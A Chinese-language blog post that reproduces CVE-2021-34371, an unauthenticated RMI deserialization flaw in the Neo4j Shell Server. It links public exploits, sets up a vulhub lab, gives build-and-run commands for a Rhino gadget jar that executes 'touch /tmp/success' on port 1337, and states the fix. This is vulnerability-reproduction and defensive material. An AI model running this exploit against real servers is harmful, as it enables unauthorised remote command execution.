CVE-2021-34371 Neo4j Shell Server 反序列化漏洞复现

CVE-2021-34371 Neo4j Shell Server 反序列化漏洞复现

漏洞简述

Neo4j是一个开源图数据库管理系统。

在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。

漏洞影响版本

Neo4j <= 3.4.18

Shodan 搜索语法

漏洞exp

https://github.com/zwjjustdoit/CVE-2021-34371.jar

https://www.exploit-db.com/exploits/50170

漏洞环境搭建

使用vulhub进行复现,搭建完成后访问7474端口web界面。

但我们需要攻击的是其1337端口,这个端口是Neo4j Shell端口,使用RMI协议通信。

漏洞复现

参考上面exploit-db的exp,使用vulhub中集成基于Rhino的Gadget,发送RMI请求。

cd rhino_gadget/
mvn install
cd target/
java -jar rhino_gadget-1.0-SNAPSHOT-fatjar.jar rmi://127.0.0.1:1337 "touch /tmp/success"

命令执行成功。也可以用上面github编译好的jar包直接执行命令。

溯源排查

没有日志可排查。

修复方式

升级到Neo4j 3.4.19及以上版本。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论